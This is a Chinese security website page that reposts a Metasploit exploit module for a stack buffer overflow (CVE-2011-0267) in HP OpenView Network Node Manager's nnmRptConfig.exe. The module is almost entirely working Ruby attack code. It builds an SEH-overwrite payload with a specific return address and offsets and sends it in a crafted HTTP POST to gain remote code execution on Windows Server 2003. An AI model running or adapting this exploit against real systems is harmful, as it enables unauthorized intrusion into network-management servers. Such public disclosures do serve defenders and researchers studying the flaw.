首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
HP OpenView NNM nnmRptConfig.exe schdParams Buffer Overflow
来源:http://www.metasploit.com 作者:sinn3r 发布时间:2011-03-24  
##
# $Id: hp_nnm_nnmrptconfig_schdparams.rb 12116 2011-03-23 21:35:13Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::Seh

	def initialize(info={})
		super(update_info(info,
			'Name'        => "HP OpenView NNM nnmRptConfig.exe schdParams Buffer Overflow",
			'Description' => %q{
				This module exploits NNM's nnmRptConfig.exe. Similar to other NNM CGI bugs,
				the overflow occurs during a ov.sprintf_new() call, which allows an attacker to
				overwrite data on the stack, and gain arbitrary code execution.
			},
			'License'     => MSF_LICENSE,
			'Version'     => "$Revision: 12116 ___FCKpd___0quot;,
			'Author'      => ['sinn3r'],
			'References'  =>
				[
					['CVE', '2011-0267'],
					['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-009/'],
				],
			'Payload' =>
				{
					'BadChars' => "\x00\x26\x2b",
				},
			'DefaultOptions' =>
				{
					'ExitFunction' => "seh",
					'AutoRunScript' => 'migrate -f',
				},
			'Platform' => 'win',
			'Targets'  =>
				[
					[
						'NNM 7.53 - Windows Server 2003 Ent', {
							'Ret'           => 0x5A30532D,  #POP/POP/RET OvWww.dll
							'Offset'        => 46919,       #Offset to SEH chain
							'Pops'          => 13,          #Number of POPADs needed to find a bigger space with our payload
							'Payloadoffset' => 57,          #Offset to the payload
					}],
				],
			'DisclosureDate' => "Jan 10 2011"))

			register_options( [Opt::RPORT(80)], self.class )
	end

	def exploit
		nops = make_nops(1000)*70

		sploit  = nops[0, target['Offset']]
		sploit << generate_seh_record(target.ret)
		sploit << "\x61"*target['Pops']
		sploit << "\xff\xe1"  #JMP ECX
		sploit << nops[0, target['Payloadoffset']]
		sploit << payload.encoded
		sploit << "\x44"*(70000-sploit.length)

		data  = "Content&Action=Create&"
		data << "Template=Avail/CRAvail&"
		data << "Operation=Apply&"
		data << "Params=schdParams+nameParams&"
		data << "schdParams=#{sploit}%7Cmonthtodate&"
		data << "nameParams=text1%3DAAAA%26text2%3Dtest2test%26text3%3Dtest2 HTTP/1.1"

		connect
		send_request_raw({
			'uri'     => '/OvCgi/nnmRptConfig.exe',
			'data'    => data,
			'version' => '1.1',
			'method'  => 'POST',
			'headers' => {
				'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
				'Accept-Language' => 'en-us,en;q=0.5',
				'Accept-Encoding' => 'gzip,deflate',
				'Accept-Chrarset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
				'Keep-Alive'      => '300',
				'Connection'      => 'Keep-Alive',
				'Cache-Control'   => 'mag-age=0',
				'Content-Length'  => data.length,
				'Content-Type'    => 'application/x-www-form-urlencoded',
			}
		}, 3)

		handler
		disconnect
	end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·HP OpenView Network Node Manag
·HP OpenView Network Node Manag
·HP OpenView Network Node Manag
·HP OpenView Network Node Manag
·HP OpenView Network Node Manag
·HP OpenView Network Node Manag
·PostgreSQL for Microsoft Windo
·Avaya IP Office Manager 8.1 TF
·Constructr CMS 3.03 Arbitrary
·ClanSphere 2010.3 / CKEditor S
·Progea Movicon 11 TCPUploadSer
·HP OpenView Network Node Manag
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved